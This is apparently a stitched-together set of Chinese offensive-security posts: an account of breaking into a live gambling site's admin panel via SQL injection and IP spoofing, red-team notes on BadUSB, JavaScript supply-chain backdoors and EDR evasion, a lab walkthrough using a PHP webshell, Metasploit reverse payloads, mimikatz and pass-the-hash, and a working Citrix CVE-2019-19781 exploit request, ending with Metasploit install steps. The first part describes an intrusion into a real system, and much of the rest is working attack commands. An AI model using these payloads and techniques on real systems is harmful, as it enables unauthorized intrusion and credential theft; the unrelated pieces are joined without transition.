2020年1月

某日寒风萧萧,正吃着泡面,小组成员丢来一个BC站,说拿到shell请我吃外卖,为了吃顿好的,必须盘它。

1.jpg

山重水复疑无路

先对站点的功能进行了一波浏览,并没有发现什么明显的漏洞。搭建网站的也不是什么常见的cms。
目录扫描 打开御剑和7kbstorm大佬的工具对网站目录进行一波扫描

御剑目录扫描:

2.png

7kbstorm目录扫描

3.png

扫描结果并没有发现什么敏感目录。

子域名爆破 于是我决定爆破一波子域名,正常情况下,这种小站点的子域名也少得可怜,大多数没有子域名,不过一旦有发现就很可能有重大突破 这里我使用lijiejie的子域名爆破工具。

4.png

发现了5个子域名

5.png

其中有两个可以正常访问 admin.xxx.com和dl.xxx.com

一处是管理后台admin.xxx.com

6.png

另一处是代理管理系统 dl.xxx.com

7.png

两个比较之下,代理管理系统连验证码都没有,应该会比较好日。所以先日dl.xxx.com。 弱口令爆破+万能密码尝试 使用burp intruder爆破弱口令,并没有什么收获. 万能密码也登不上。

8.png

接下来拦截登录请求,放到sqlmap测试一下是否存在注入,然而并没有注入。 测试到这里,我们整理一下思路:

1.我们可以继续日dl.xxx.com : 尝试爆破敏感目录、扫描端口、查找js文件看看是否存在未授权访问的接口。
2.继续日www.xxx.com;尝试扫描端口、查找js文件
3.日另一个子域admin.xxx.com

柳暗花明又一村

我们选择先日admin.xx.com

9.png

尝试使用弱口令amdin 123456登录,抓包发现验证码并没有在请求包中出现,也就是说验证码实际上是无效的,有点兴奋,我们可以使用burp intruder+字典爆破弱口令

10.png

又白高兴一场,测试不存在弱口令。 尝试了万能密码并没有什么卵用。 继续拦截登录请求包,放到sqlmap跑sql注入. 这一次sqlmap带来了惊喜,跑出了注入

11.png

--dbs跑库

12.png

看到库名ManageDB,直觉这就是管理员库 --tables跑出了user表,--dump跑出数据

13.png

数据里包括了管理员账号,管理员密码,还有管理员的ip,管理员的最后登录时间。 看到最后登录时间是2019.11.29,看来管理员还是经常登录的。 拿着密文来到cmd5解密一波,真是日了狗了,是个收费密文 来到somd5试一下,解出了明文

14.png

回到后台,输入账号和密码登录,然而

15.png

卧槽,竟然还验证登录ip。 灵机一动,我想到了刚才和管理员账号密码一起跑出来的管理员ip应该就是允许登陆的ip地址 以我多年CTF的经验,加个X-Forwarded-For头就可以简单伪造ip了,尝试一下

16.png

Bingo,登陆成功,CTF诚不我欺~

17.png

还有机器人配置这个操作,看来果然是骗子网站

18.png

翻了翻后台功能,并没有上传点,也不是常见的cms管理后台,不存在那种表面上被阉割事实上通过url路径还是可以访问的功能。 到这里就结束了吗?

19.png

虽然我们找不到上传点,但我们有一处sql注入,可以尝试直接写shell 先看一下是不是dba权限。

20.png

哦豁,是dba权限 可惜这是一个sql server数据库,看到网上sqlmap写shell教程里,先选择脚本语言,再选择绝对路径.....我的内心毫无波澜,因为sql server的--os-shell是这样的,和mysql完全不同

21.png

得到网站绝对路径的步骤就不说了,因为在这里没什么卵用,当我兴致满满的写shell的时候才发现并没有写权限。

22.png

这算哪门子dba权限!不过对于这种BC站,就算发生再魔幻的事情我都能接受。

最后的尝试

用nmap扫一波端口

23.png

3389端口没有开,不过1433端口是开放的,我们尝试爆破一波弱口令,看能不能直接连上mssql数据库。之前得到的后台管理密码也要尝试一下,万一和数据库是同一个密码呐。 事实证明我想太多了,不是弱口令,密码也和网站后台不一样。

到了这里,我知道外卖遥不可及,看着已经凉透的泡面,我加了点热水,含泪吃了起来。

这次参加阿里白帽大会,对无声的一个师傅的议题印象比较深刻,ppt暂时不知道会不会共享,我个人想做个总结,最近事情一大堆,学习的效率变慢了许多,不能让这些东西一直压着我.XD

飞机刚起飞,希望到家之前能够写完.

小灰师傅说:"这次由于时间问题,还有很多好玩的没分享出来."
我:"Tql"

以下内容属于我个人YY.

前言

现在各种议题数不胜数,但是我看对眼的比较少.

红队的特点是什么?

区别于传统的渗透测试,更偏向于实战,面对的场景也更加复杂,技术繁多,以目的为导向,需要有能够解决突发问题的能力.

红队的核心是什么?

发散思维,让各种技术有应用场景,需要有更多的攻击面,掌握特殊技巧.

红队之路是什么?

在实践中不断地"填坑",不断实战,完善战术和武器的过程.

大型网络渗透的思路有哪些?

参考来自红队的一些Tricks(小灰师傅的另外一个议题),ppt自行谷歌查找.

撕开口子(ssrf->内网渗透)
判断出目标位置和目标环境
通过osint,获得关键信息,攻击脆弱系统,进入内网.
寻找"软柿子",从邮箱突破 ->获得VPN账号密码->内网渗透->.....

边界渗透

组织业务架构分析(天眼查,主站业务方向,业务合作单位,海外业务)
判断目标网络架构(ssrf,内网ip泄露,citrix,exchange,域认证,云盘,文库,git)
关键业务分析(员工通讯录,密码字典制作,各种oa(泛微,通达,致远,金蝶),mail,vpn,通讯工具,sso)

外网攻击入口选择

关注度低和防护薄弱的系统(边远地区,无MFA机制的系统,使用高危漏洞进行批量)

供应链打击
办公系统,集权系统
有敏感信息泄露的系统
业务线较长的系统(公司的网络结构分布在各个地市,进行迂回攻击)
常见的信息收集

pdns
子域名网段
github检索
爬兄弟域名
app请求
js信息收集
微信公众号
favicon.ico
ssl cert

横|纵向移动

先潜伏,别急于扫描,会触发edr
潜伏策略(dns,icmp,tcp,http,测试机,备份机,老资产,运维终端pc,办公区,业务大,复杂的系统)
内网知识储备(很多人问我内网渗透怎么学好点,我的建议都是去copy dm写的那本书的目录,自己网上查查资料,东西不多,需要实践,不实践你永远不会踩坑,也不会进步)
域渗透基础知识(自行谷歌学习)
内网信息收集(自行谷歌学习)

防御对抗
hw遇到的防护手段 (封ip,waf,白名单机制,各种安全设备(nids,hids,edr,soc,蜜罐),溯源反制)
对策(代理池,cms识别,waf测试与绕过,加载自己的dll,逆向agent,patch掉防火墙等设备,流量加密,虚拟机,心跳包回连,回连cdn,回连端口转发)

Content

"水坑攻击"在红队场景的运用
对抗技术在红队行动中的实践
主被动方式结合-实现挖坑反击
RedTeamer的未来

"水坑攻击"在红队场景的运用

github蜜罐,你遇到过吗?
以及内网的一些常见服务蜜罐.将redis部署在真实环境里,但是redis服务的流量走的是蜜罐系统,导致被防守方逮到.

使用OSINT进行情报搜集

搜索引擎(fofa,shodan,Google,Zoomeye,bing)
百度文库,CSDN
天眼查相关资产
riskiq.com开源情报
子域名,爬虫链接,github
内部情报(加QQ群,钉钉群,微信群)

收集到架构,资产,邮箱,敏感资料,专利,账号密码等等

通过收集的账号密码登录邮箱系统,coremail rce->导出邮件内容->被系统制裁.

tricks

github在设置邮箱的时候可以获得github账户名,脚本批量测试
看图说话

1.jpg

jsonp劫持可以获取目标的互联网信息,qq邮箱,163邮箱等.

供应链攻击,留后门

获取到开发人员权限后,可以选择往源码里插入一段js,等源码部署以后,可以结合xss平台进行权限维持(键盘记录,内网渗透等等)
xss平台beef其实很香的,模块很多.
js后门的好处:

获得代码部署地址
键盘记录
通过ajax动态获得页面内容
通过访问ip分析人员区域
随时更改js内容,做进一步利用,ie浏览器和flash攻击

近源攻击

2.jpg

U盘攻击

直接往人家银行门口扔U盘?你咋知道被谁捡去了,赔钱的买卖.
通过信息收集,和其他的方法找到工作人员地址,比如订单信息泄露,寄一个badusb到他家,往U盘里送上最真挚的祝福,加一个小贺卡,让他快点打开看看U盘里面你对他到底进行了啥祝福.

badusb的一些tricks:

使用unicode反转字符攻击,诱导点击
可执行文件的后缀-dll,hta,bat,sct,vbs,ps1
office漏洞利用和宏攻击
特殊文件后缀名,exe,pif,com,cmd,scr
双击反弹shell文件和脚本,chm,ink,iqy,jsjse,cpl,wsh,wsf

注册表HKEY/LOCALMACHINE/SOFTWARE/Classes中可以找到能执行命令的后缀.

WIFI钓鱼

近源攻击中最为常见的就是路由器,有0day的话可以进行链路劫持,进行行为审计,
看一下无声的这个武器.

3.jpg

可见武器化的好处

一次攻击链:

webrtc获取内网地址
对可以发起http请求导致rce的路由器发起探测
获得权限后,通过流量采集获取某些网站接口的凭据,强制加好友
聊天触发某插件热更新,劫持替换,运行导致收集rce

WIFI登录页面钓鱼

在内网的话,可以获取员工的工号和密码,ACl配置不当的情况下可以扫描内网资源(DNS重定向)
抓hash
dns可控的情况下,结合WPAD进行中继攻击

对抗技术在红队行动中的实践

ip封禁

https://github.com/RhinSecurityLabs/IPRotate_Burp_Extension

通过aws的服务进行ip替换

或者使用pymultitor

DMZ出网的权限维持

常规是使用DNS,HTTP协议

换个思路,直接把邮件服务器当做C2,传递信息回来,相关代码自己github查找

EDR多维度对抗

实时监控是否有特定的进程执行,参数和进程的调用关系树
内存分析
异常检测
流量监测

Bypass(后面几种是我的想法):

参数污染
shellcode分离加载
行为免杀
反沙箱(判断当前环境是否是沙箱,内存,磁盘空间,等等,参考veil模块)
无文件技术(用forfiles免杀)
流量免杀
shellcode加密
blockdll
白加黑利用

权限维持
单机权限维持(这个我最近在写总结,尽快赶出来)

服务类:bitadmin,计划任务,sqlserver job
logon Scripts修改注册表
dll劫持
白加黑利用
服务类路径,通过powerup寻找加以利用

域权限维持

看图,做一个补充

4.jpg

主被动方式实现挖坑反击

内网横向移动技术到底是研究什么?

内网拓扑环境,知道有哪些机器,我现在在哪个位置,下一步我要去哪?
获得当前账户,具有什么权限,受什么规则影响,可以进行什么操作,可以用什么手段横向?
怎么获得更多的用户名和密码以及权限
怎么拿到域内指定的机器(日志,邮件,收集的信息,ldap查询)

护网横向移动优先攻击策略

目标内网往往非常大,快读定位和找到关键节点是攻击的关键,选择的主要原则为:

快速掌握目标网络架构和网络设备及集权系统,(堡垒机,运维管理机,性能监控系统,集中管控系统,域控等)
查找配置文件,系统日志,管理文件,建设方案,wiki,文档云,托管代码等,获取敏感信息,为纵向移动打下基础.

网络环境中的信息收集

dns信息
快速定位域控(方法很多,不多说)
route信息
net view dc
域信息(dc,group,user,密码策略,委派关系,票据,域信任关系)
445端口获取banner判断是否在域内
ldap query
spn扫描
域认证服务机器日志

DNS

使用ping -a反向解析IP
先通过ldap查询获得域内计算机名称,再通过dns查询获得ip
dnscnd的使用

单主机,系统程序,安装软件

系统日志(追踪来源,堡垒机,管理人员电脑)
最近使用的程序
安装应用
浏览器历史记录,浏览器密码,代理配置
系统密码,hash,mscache,rdp连接记录,rdp凭据,vpn,xshell,Navicat,winscp
内存中kerberos票据
其他用户token
session信息
redthief被动获取密码

精准定位

域控日志
系统记录日志
查询用户userWorkstation字段
使用组策略给用户绑定登录脚本
Email

RedTeamer的未来

红队是多元化的,需要有多方面的能力,武器化是重点,学以致用(win32 api,Windows核心编程,c/c++/c#/powershell)
尝试跨界,去了解更多未知的精彩
提高自身业务能力,增加深度,不满足于表面,要有危机感.

我为啥没有具体去介绍文中的技术点呢?

XD

快下飞机了,想家!

地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

主要以该环境讲解内网渗透的技术。

拓扑图如下:

1.png

Web服务器(Windows7):

192.168.10.14 、192.168.52.143

主机名:stu1

域成员主机(Windows Server 2003):192.168.52.141

主机名:root-tvi862ubeh

域控(Windows Server 2008):

192.168.52.138

主机名:owa

其中,Web服务器的192.168.10.14模拟公网地址,我们可以直接访问192.168.10.14。但是我们访问不了192.168.52.0网段。

0x01 拿下Web服务器

本文主要是讲内网渗透方面,所以关于怎么拿下Web服务器,比较粗略的过。
说下我们对Web服务器的思路吧。在红蓝对抗中,拿到了入口站点,我们首先会想办法获取入口点的shell,再以此挂隧道通内网。而拿shell无非是上传木马、SQL注入、反序列化。而在很多网站的登录后台后,会存在文件上传漏洞,进而getshell。

访问Web服务器地址:http://192.168.10.14/yxcms/

它是一个yxcms的站点

2.png

对于yxcms我也不熟悉,之前没接触过。拿到目标第一先用御剑扫描下后台吧

3.png

4.png

发现phpmyadmin后台登录地址:http://192.168.10.14/phpmyadmin/

发现一个压缩包文件,该文件是网站的压缩包文件:http://192.168.10.14/beifen.rar

发现phpinfo文件:http://192.168.10.14/phpinfo.php

发现一些比较敏感的目录,这些目录都存在目录遍历漏洞

http://192.168.10.14/yxcms/robots.txt
http://192.168.10.14/yxcms/data/
http://192.168.10.14/yxcms/public/
http://192.168.10.14/yxcms/upload/
http://192.168.10.14/yxcms/protected/

5.png

phpmyadmin后台getshell

对phpmyadmin后台进行爆破,得到账号密码:root/root

6.png

进入phpmyadmin后台后,获取shell。传送门:phpmyadmin爆破和后台getshell

这里由于 secure_file_priv的值为NULL,所以我们不能利用写into outfile写木马getshell。

7.png

这里我们利用日志文件Getshell。传送门:phpmyadmin利用日志文件Getshell

执行以下命令

set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>' 

最后用菜刀连接,如下。

8.png

0x02 后渗透第一步

在拿到了Web服务器的权限后,我们就要尽可能多的搜集该服务器的信息,然后搭建隧道通往内网!

执行以下命令我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中。该主机有两张网卡

分别是:192.168.10.14,192.168.52.143。

由此可知,其实获得的这个权限就是域管理员权限。(搞不懂环境为啥要以域管理员账号登录,为啥不以本地普通用户登录??)

9.png

10.png

现在我们想反弹一个MSF的shell。将MSF生成的木马上传到该主机上,执行,反弹成功!

11.png

派生CobaltStrike权限

首先在CobaltStrike上开启一个监听

12.png

然后在MSF中执行以下操作,我们的CobaltStrike就接收到反弹过来的shell了。

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost xxxx                 #cobaltstrike监听的ip
set lport 14444                 #cobaltstrike监听的端口 
set session 1                   #这里是获得的session的id
exploit

13.png

获得System权限

这里由于获得的直接是adminsitrator权限,所以可以直接提到system。在真实环境中,这里很多时候都是一个普通用户权限,需要我们去提权。

14.png

获取账号密码

1:导出hash

run hashdump

15.png

2:导出hash

run windows/gather/smart_hashdump

16.png

3:加载 kiwi模块

这里尝试加载kiwi模块,获取不到账号密码

load kiwi
creds_all

17.png

4:加载 mimikatz 模块

再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的。

如图,成功获得账号密码:administrator/[email protected]

migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

18.png

远程桌面登录

这里我们已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可以新建账号登录(hack/[email protected])。(不建议直接用administrator身份登录,因为这样有可能会惊动管理员)

19.png

通过nmap扫描发现该主机的3389端口呈过滤状态,由此猜想可能是防火墙将该端口过滤了

20.png

于是执行以下命令开启3389端口

run post/windows/manage/enable_rdp

21.png

再次探测发现3389端口已是open状态

22.png

尝试3389远程登录该主机,但是弹出如果我们继续登录,则会断开该主机的当前连接。为了不惊动管理员,这里我们不继续连接了。

23.png

添加路由、挂Socks4a代理

添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

#添加路由
route add 0.0.0.0 0.0.0.0 1
run print

#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打开/etc/proxychains.conf,加入下面一行
socks4 0.0.0.0 1080

#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains

24.png

25.png

我们也可以在本机设置socks4代理,指向我们vps的1080端口。那么,我们本地的流量就会交给VPS的1080端口,而1080端口是MSF起的,MSF又添加了到内网的路由,自然我们就可以访问到内网的主机。

26.png

这里我实测用MSF挂的socks4a代理并不稳定,建议实战环境用 FRP 起的 socks5 代理,这里我为了省事直接用MSF的socks代理。其实新版的MSF也有了socks5代理,不过好像也不是很好用。

域信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

从域信息收集可以得到以下信息:

域:god.org
域内有三个用户:administrator、ligang、liukaifeng01
域内有三台主机:
DEV1(不在此环境中)
ROOT-TVI862UBEH(192.168.52.141)
STU1(192.168.52.143)
域控:OWA(192.168.52.138)
域管理员:administrator

由此可见,我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

27.png

28.png

0x03 内网主机信息收集

我们现在想进行内网横向渗透,就需要收集更多的信息,内网渗透信息收集是非常重要的一步。

由于我们之前添加了路由信息并且挂了Socks4a代理,所以我们现在可以使用MSF里面的探测模块以及nmap对内网进行探测。

内网存活主机探测

这一步在域环境渗透中可以省略,因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透,可以使用这一步。

在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测,传送门:后渗透阶段之基于MSF的内网主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

29.png

30.png

31.png

内网存活主机端口扫描

1:使用MSF自带模块进行端口探测

auxiliary/scanner/portscan/tcp   #基于tcp进行端口扫描(默认扫描1-10000)

32.png

2:使用 proxychains 代理链利用 nmap 对内网主机进行端口探测

33.png

内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

34.png

经过了以上几步,我们就可以大致判断内网存活的主机、主机开放的端口以及服务这些基本信息了。

0x04 内网横向渗透攻击技巧

在对内网主机进行信息收集后,接下来我们就是要对内网主机发动攻击了。内网攻击方法有下面这些。

MS17-010

永恒之蓝在内网渗透中是屡试不爽的,基本上一打一大片。但是MS17-010在实际红蓝对抗渗透中(通过代理打内网)并不好利用,MSF中自带的模块要打很多次才能成功一次,而且MSF自带的模块打sever2003的机器很容器蓝屏。注意这里的payload必须设置为正向连接 bind_tcp。

如下,第一次打就没打成功。

35.png

36.png

CVE-2019-0708

该漏洞是今年爆出的一个windows RDP协议的漏洞,但是测了一下,发现该主机不存在该漏洞。另外,该漏洞成功率也不高,而且极有可能把目标机打成蓝屏的结果。所以在真实红蓝对抗中不建议使用该漏洞,除非有百分百的把握能打成功.

37.png

38.png

psexec攻击

我们已经获得了域管理员 god/administrator 的账号密码,我们现在可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。

注:由于提示需要修改密码,所以已将 god/administrator 的密码改为 [email protected]

psexec.exe \\192.168.52.138 -u god\administrator -p [email protected] cmd

39.png

但是在连接 Server2003服务器 的时候出了点小问题,提示服务没有及时响应启动或控制请求。

40.png

哈希传递攻击

在域环境内,只有获得了域管理员的哈希才可以攻击。这里假设我们得到了域管理员administrator的哈希,但是没有得到明文密码。在这里我们就可以用哈希传递攻击了。

在前面获得了域管理员 administrator 的NTLM哈希为:c456c606a647ef44b646c44a227917a4

sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

41.png

MS14-068

MS14-068漏洞适用于当我们获得了普通域用户的哈希,域控存在MS14-068漏洞的场景。我们现在想利用获得了普通域用户哈希去访问域控。
但是这里我们是直接获得了域管理员的哈希,这里只是演示下MS14-068漏洞的攻击手法

先获取需要利用的域用户的SID值

42.png

#生成票据[email protected]
MS14-068.exe -u [email protected] -p [email protected] -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138      #MS14-068.exe -u 域用户 @dog.org -p 域用户密码 -s 域用户的SID -d 域控ip

#在mimikatz中导入票据
kerberos::ptc  [email protected]的路径

然后再打开一个cmd窗口尝试访问域控
dir \\192.168.52.138\c$

43.png

0x01 下载文件 NSVPX-ESX-13.0-47.22_nc_64.zip

https://www.citrix.com/downloads/citrix-gateway/

1.png

配置静态ip

2.png

3.png

0x02 nmap 扫描

Scanning 192.168.3.244 [65535 ports]
Discovered open port 80/tcp on 192.168.3.244
Discovered open port 22/tcp on 192.168.3.244
Discovered open port 443/tcp on 192.168.3.244

4.png

没有安装证书

http://192.168.3.244/

default password: nsroot/nsroot

5.png

0x03 上传 xml

6.png

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.3.244
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/jas502n
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=jas502n&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 06:36:44 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 11 Jan 2020 06:36:44 GMT
ETag: W/"87-59bdd52283e00"
Accept-Ranges: bytes
Content-Length: 135
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<HTML>
<BODY>
<SCRIPT language=javascript type=text/javascript>
//parent.window.ns_reload();
window.close();
</SCRIPT>
</BODY>
</HTML>

0x04 执行命令

7.png

GET /vpn/../vpns/portal/jas502n.xml HTTP/1.1
Host: 192.168.3.244
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
NSC_USER: nsroot
NSC_NONCE: nsroot
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 06:37:40 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-control: no-cache
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Expires: Sat, 11 Jan 2020 06:37:40 GMT
Content-Length: 2255

# $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $
#
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin

undef error - Attempt to bless into a reference at /usr/local/lib/perl5/site_perl/5.14.2/mach/Template/Document.pm line 92.

参考链接

https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/

Linux / Mac OS X

Installing Metasploit on Linux / Mac OS X

The following script invocation will import the Rapid7 signing key and setup the package for supported Linux and OS X systems:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

These packages integrate into your package manager and can be updated with msfupdate or with your package manager. On first start, these packages will automatically setup the database or use your existing database.

Windows

Installing Metasploit on Windows

Download the latest Windows installer or view older builds. To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.

Windows Anti-virus software flags the contents of these packages!

If you downloaded Metasploit from us, there is no cause for alarm. We pride ourselves on offering the ability for our customers and followers to have the same toolset that the hackers have so that they can test systems more accurately. Because these (and the other exploits and tools in Metasploit) are identical or very similar to existing malicious toolsets, they can be used for nefarious purposes, and they are often flagged and automatically removed by antivirus programs, just like the malware they mimic.

Improving these installers

Feel free to review and help improve the source code for our installers.

Other Versions:

https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version